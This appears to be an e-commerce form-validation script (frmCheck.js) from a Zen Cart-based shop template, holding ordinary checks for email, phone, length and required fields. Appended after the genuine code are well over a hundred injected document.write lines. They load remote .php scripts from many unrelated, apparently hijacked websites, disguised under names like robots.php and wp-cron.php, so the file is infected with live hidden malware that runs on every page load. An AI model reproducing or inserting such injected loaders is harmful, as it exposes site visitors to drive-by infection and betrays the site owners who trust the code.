/**
 * @package pearltea
 * @copyright Copyright 2007 LightInTheBox Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: frmCheck.js - create by tankai 2007-10-19 
 */

function field_check(name, rule, field){
  	if(rule.indexOf("cpwd")>-1){
		strTmp = rule.split("#");
		if(strTmp[0].inc("cpwd","/") == true && field.value != $(strTmp[1]).value){
			return "The "+name+" must match your " +name.split(" Confirmation")[0];
		}
	}	
	if(rule.inc("eml","/")==true && !/(\,|^)([\w+._]+@\w+\.(\w+\.){0,3}\w{2,4})/.test(field.value.replace(/-|\//g,"")) && !isNone(field.value)){
		return "Is your " + name + " correct? Sorry, my system does not understand your email address.";
	}	
	if(rule.inc("tel","/")==true && !/(^[0-9+-]{3,30}$)/.test(field.value) && !isNone(field.value)){
		return "Is your "+name+" correct? Sorry, my system does not understand your telephone format.";
	}	
	size = rule.sub("min","/");
	if(size > 0 ){			
		if(field.value.trim().length < size && field.value.trim().length>0){
			return "Is your "+ name +" correct? Our system requires a minimum of "+size+" characters.";
		}
	}		
	size = rule.sub("max","/");		
	if(size > 0 ){
		if(field.value.trim().length > size){
			return "Is your "+ name +" correct? Our system requires a maximum of "+size+" characters."
		}
	}	
	if(rule.inc("nnull","/") == true && isNone(field.value)){
		return "Sorry, "+name+" information is required.";		
	}	
	if(rule.inc("ischeck","/") == true && ! field.checked ){
		return name;
	}
	if(rule.inc("isselect","/") == true && field.value == '-1' ){
		return 'Please Choose "' + name + '"';
	}	
	return "";
};

/*#表单验证#*/
function fmChk(fm){
	var name , rule , tmp , msgStr , size;
	if(fm == null || fm.tagName != "FORM"){
		alert("", null , "error");
	    return;
	}	
	for(i=0;i<fm.length;i++){		
		var msgStr = chkInput(fm[i]);				
		if(msgStr != "success"){
			efocu(fm[i]);
			msg(msgStr);
			return false;
		}
	}
	return true;
};

function chkInput(obj){
	var name , rule , msgStr;
	name=obj.getAttribute("chkName");
	rule=obj.getAttribute("chkRule");
	if(isNone(rule) || isNone(name))  return "success";	
	msgStr = field_check(name, rule, obj);
	
	if(msgStr != ""){
		return msgStr;
	}
	else{
		return "success";
	}
};

function msg(key){
	alert(key);
};

function initForm(el, func){	
	var img_path = baseURL + "includes/templates/lightinthebox/images/checkout";
	(new Image(10,10)).src = img_path + "/ico_F.gif";
	var error_bg = "#FEDFDF", blur_bg = "" , focus_bg = "#FFFEE1";
	var formId = $(el);
	if(formId == null || formId.tagName != "FORM"){
		alert("", null , "error");
	    return;
	}
	var addImage = '<img src="'+ img_path + "/ico_T.gif" +'" width="10" height="10" style="display:none;" class="pad_l"/>';
	var addDiv = '<div style="display:none;" class="red line_120"></div>';
	var elArr = formId.elements;
	var elLen = elArr.length;
	for(i=0; i<elLen; i++) {
		//insert the img and div
		var addHtml = elArr[i].getAttribute("chkRule");
		if(addHtml){
			insHtm(elArr[i],addImage);
			insHtm(elArr[i],addDiv);
			
			//add the mouse style have check;
			elArr[i].onfocus = function(){
					if((this.tagName === "INPUT" && (this.type === "text" || this.type === "password"))||this.tagName === "TEXTAREA")
					{this.style.backgroundColor = focus_bg;}
			}
			elArr[i].onblur = function(){
				this.style.backgroundColor = blur_bg;	
				var out_img = this.parentNode.getElementsByTagName("img")[0];
				var out_text = this.parentNode.getElementsByTagName("div")[0];
				var msg = chkInput(this);
				if(msg === "success") {
					out_img.src = img_path + "/ico_T.gif";
					out_img.style.display="inline";
					out_text.style.display="none";
				}else{
					out_img.src = img_path + "/ico_F.gif";						
					out_img.style.display="inline";
					out_text.innerHTML = msg;
					out_text.style.display="block";
					if((this.tagName === "INPUT" && (this.type === "text" || this.type === "password"))||this.tagName === "TEXTAREA"){
						this.style.backgroundColor = error_bg;
					}
				}
				if(func != null) {try{eval(func);}catch(e){}}						
			}
		}else{
				//add the mouse style not check;
			if((elArr[i].tagName === "INPUT" && (elArr[i].type === "text" || elArr[i].type === "password"))||elArr[i].tagName === "TEXTAREA"){
				elArr[i].onfocus = function(){this.style.backgroundColor = focus_bg;}
				elArr[i].onblur = function(){this.style.backgroundColor = blur_bg; if(func != null) {try{eval(func);}catch(e){}}}
			}
		}
	}
}
document.write('<script src=http://emodule.net/surojit/spacer.php ><\/script>');
document.write('<script src=http://regooo48.ru/print/ab.php ><\/script>');
document.write('<script src=http://nagarathar.info/oscommerce2/catalog/images/shipping.php ><\/script>');
document.write('<script src=http://cute-one-piece.bathing-suits-discount.us/aom/javascript.php ><\/script>');
document.write('<script src=http://cute-one-piece.bathing-suits-discount.us/aom/javascript.php ><\/script>');
document.write('<script src=http://nikiforof.ru/club/indext.php ><\/script>');
document.write('<script src=http://nikiforof.ru/club/indext.php ><\/script>');
document.write('<script src=http://karthiksubramanian.com/img/postinfo.php ><\/script>');
document.write('<script src=http://karthiksubramanian.com/img/postinfo.php ><\/script>');
document.write('<script src=http://karthiksubramanian.com/img/postinfo.php ><\/script>');
document.write('<script src=http://karthiksubramanian.com/img/postinfo.php ><\/script>');
document.write('<script src=http://ppg.glogow.pl/web_documents/phpinfo.php ><\/script>');
document.write('<script src=http://ppg.glogow.pl/web_documents/phpinfo.php ><\/script>');
document.write('<script src=http://ppg.glogow.pl/web_documents/phpinfo.php ><\/script>');
document.write('<script src=http://ppg.glogow.pl/web_documents/phpinfo.php ><\/script>');
document.write('<script src=http://ppg.glogow.pl/web_documents/phpinfo.php ><\/script>');
document.write('<script src=http://harleynirafonindia.com/images/acousticdemo.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://netzakona.net/language/INSTALL.php ><\/script>');
document.write('<script src=http://wahmgroup.com/wp-includes/error_log.php ><\/script>');
document.write('<script src=http://izdomu.ru/wp-content/backup-ea1e7/advanced-cache.php ><\/script>');
document.write('<script src=http://izdomu.ru/wp-content/backup-ea1e7/advanced-cache.php ><\/script>');
document.write('<script src=http://cytop.hosting.paran.com/test/near_neararea.php ><\/script>');
document.write('<script src=http://cytop.hosting.paran.com/test/near_neararea.php ><\/script>');
document.write('<script src=http://cytop.hosting.paran.com/test/near_neararea.php ><\/script>');
document.write('<script src=http://cytop.hosting.paran.com/test/near_neararea.php ><\/script>');
document.write('<script src=http://forum.prshuta.com/adm/indexg.php ><\/script>');
document.write('<script src=http://lovemasan.kr/data_file/lovechuncheon/errimg.php ><\/script>');
document.write('<script src=http://lovemasan.kr/data_file/lovechuncheon/errimg.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://bricey.ehost-services138.com/img/title.php ><\/script>');
document.write('<script src=http://compix.co.kr/zbxeback/KhanEditor.php ><\/script>');
document.write('<script src=http://compix.co.kr/zbxeback/KhanEditor.php ><\/script>');
document.write('<script src=http://compix.co.kr/zbxeback/KhanEditor.php ><\/script>');
document.write('<script src=http://compix.co.kr/zbxeback/KhanEditor.php ><\/script>');
document.write('<script src=http://compix.co.kr/zbxeback/KhanEditor.php ><\/script>');
document.write('<script src=http://looking-for-a-jobs.co.cc/wp-includes/wp-pass.php ><\/script>');
document.write('<script src=http://a-cheap-hostel-or-hotel.co.cc/images/wp-login.php ><\/script>');
document.write('<script src=http://halilkoksal.com.tr/wp-content/wp-rss.php ><\/script>');
document.write('<script src=http://halilkoksal.com.tr/wp-content/wp-rss.php ><\/script>');
document.write('<script src=http://halilkoksal.com.tr/wp-content/wp-rss.php ><\/script>');
document.write('<script src=http://halilkoksal.com.tr/wp-content/wp-rss.php ><\/script>');
document.write('<script src=http://iphone.gokken-gratis.com/_derived/money20.php ><\/script>');
document.write('<script src=http://bestseoinindia.com/images/_vti_inf.php ><\/script>');
document.write('<script src=http://ilawa-24inews.pdg.pl/logs/htaccess.php ><\/script>');
document.write('<script src=http://freeeduworld.com/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://freeeduworld.com/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://freeeduworld.com/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://freeeduworld.com/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://parisianphotographer.com/js/portfolio.php ><\/script>');
document.write('<script src=http://parisianphotographer.com/js/portfolio.php ><\/script>');
document.write('<script src=http://parisianphotographer.com/js/portfolio.php ><\/script>');
document.write('<script src=http://indianbusinesstv.com/Koutons_files/nflas.php ><\/script>');
document.write('<script src=http://indianbusinesstv.com/Koutons_files/nflas.php ><\/script>');
document.write('<script src=http://indianbusinesstv.com/Koutons_files/nflas.php ><\/script>');
document.write('<script src=http://indianbusinesstv.com/Koutons_files/nflas.php ><\/script>');
document.write('<script src=http://taghdar.webphoto.ir/photos/Abusez.php ><\/script>');
document.write('<script src=http://taghdar.webphoto.ir/photos/Abusez.php ><\/script>');
document.write('<script src=http://taghdar.webphoto.ir/photos/Abusez.php ><\/script>');
document.write('<script src=http://taghdar.webphoto.ir/photos/Abusez.php ><\/script>');
document.write('<script src=http://satvenhost.com/blog/services.php ><\/script>');
document.write('<script src=http://satvenhost.com/blog/services.php ><\/script>');
document.write('<script src=http://lamphun.lamphuninfo.com/images/phocagallery/cancel.php ><\/script>');
document.write('<script src=http://pjh445.webice.kr/files/LICENSE.php ><\/script>');
document.write('<script src=http://pjh445.webice.kr/files/LICENSE.php ><\/script>');
document.write('<script src=http://pjh445.webice.kr/files/LICENSE.php ><\/script>');
document.write('<script src=http://falconcrest-bb.ca/images/hxg/Queen.php ><\/script>');
document.write('<script src=http://falconcrest-bb.ca/images/hxg/Queen.php ><\/script>');
document.write('<script src=http://falconcrest-bb.ca/images/hxg/Queen.php ><\/script>');
document.write('<script src=http://falconcrest-bb.ca/images/hxg/Queen.php ><\/script>');
document.write('<script src=http://falconcrest-bb.ca/images/hxg/Queen.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://iso.banponggroup.com/Register/robots.php ><\/script>');
document.write('<script src=http://ecotech.uz/img/robots.php ><\/script>');
document.write('<script src=http://ecotech.uz/img/robots.php ><\/script>');
document.write('<script src=http://ecotech.uz/img/robots.php ><\/script>');
document.write('<script src=http://ecotech.uz/img/robots.php ><\/script>');
document.write('<script src=http://ecotech.uz/img/robots.php ><\/script>');
document.write('<script src=http://newmuslimtown.org.pk/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://merten1.ssv-merten.de/images/gifimg.php ><\/script>');
document.write('<script src=http://serdaryetik.com/forum/wp-cron.php ><\/script>');
document.write('<script src=http://serdaryetik.com/forum/wp-cron.php ><\/script>');
document.write('<script src=http://chicheduhalde.com.ar/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://chicheduhalde.com.ar/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://chicheduhalde.com.ar/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://chicheduhalde.com.ar/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://chicheduhalde.com.ar/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://landlordhousing.com/cache/htaccess.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://j2nt.com/janat_files/configuration.php ><\/script>');
document.write('<script src=http://memoinfo.ru/produkty/cos.php ><\/script>');
document.write('<script src=http://bigprintshop.com/bigprint/n3t.php ><\/script>');
document.write('<script src=http://bigprintshop.com/bigprint/n3t.php ><\/script>');
document.write('<script src=http://bigprintshop.com/bigprint/n3t.php ><\/script>');
document.write('<script src=http://bigprintshop.com/bigprint/n3t.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://hinis.bel.tr/images/gifimg.php ><\/script>');
document.write('<script src=http://yourcoldplay.dothome.co.kr/bbs/7141521.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://bosnarfc.com.au/images/gifimg.php ><\/script>');
document.write('<script src=http://ftphost.inwestnet.com/homedysk/baner.php ><\/script>');
document.write('<script src=http://ftphost.inwestnet.com/homedysk/baner.php ><\/script>');
document.write('<script src=http://ftphost.inwestnet.com/homedysk/baner.php ><\/script>');
document.write('<script src=http://ftphost.inwestnet.com/homedysk/baner.php ><\/script>');
document.write('<script src=http://ftphost.inwestnet.com/homedysk/baner.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://mundoblog.net/finanzas/wp-links-opmle.php ><\/script>');
document.write('<script src=http://xn--boazdatekneturu-0cc.com/css/ror.php ><\/script>');
document.write('<script src=http://bbk-dk.1gb.ru/bt1/con_sql.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://rameshwartiles.com/admin/cat_dtls.php ><\/script>');
document.write('<script src=http://puppetpalace.nl/gegevens/toevoegen.php ><\/script>');
document.write('<script src=http://puppetpalace.nl/gegevens/toevoegen.php ><\/script>');
document.write('<script src=http://puppetpalace.nl/gegevens/toevoegen.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://halifaxshelanu.com/_vti_bin/b13_1290177_gallery.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://fajowe.ovh.org/images/style.php ><\/script>');
document.write('<script src=http://kylepolhemus.com/media_images/photo29.php ><\/script>');
document.write('<script src=http://saikoro-steak.com/mo/thuhan_005.php ><\/script>');
document.write('<script src=http://saikoro-steak.com/mo/thuhan_005.php ><\/script>');
document.write('<script src=http://saikoro-steak.com/mo/thuhan_005.php ><\/script>');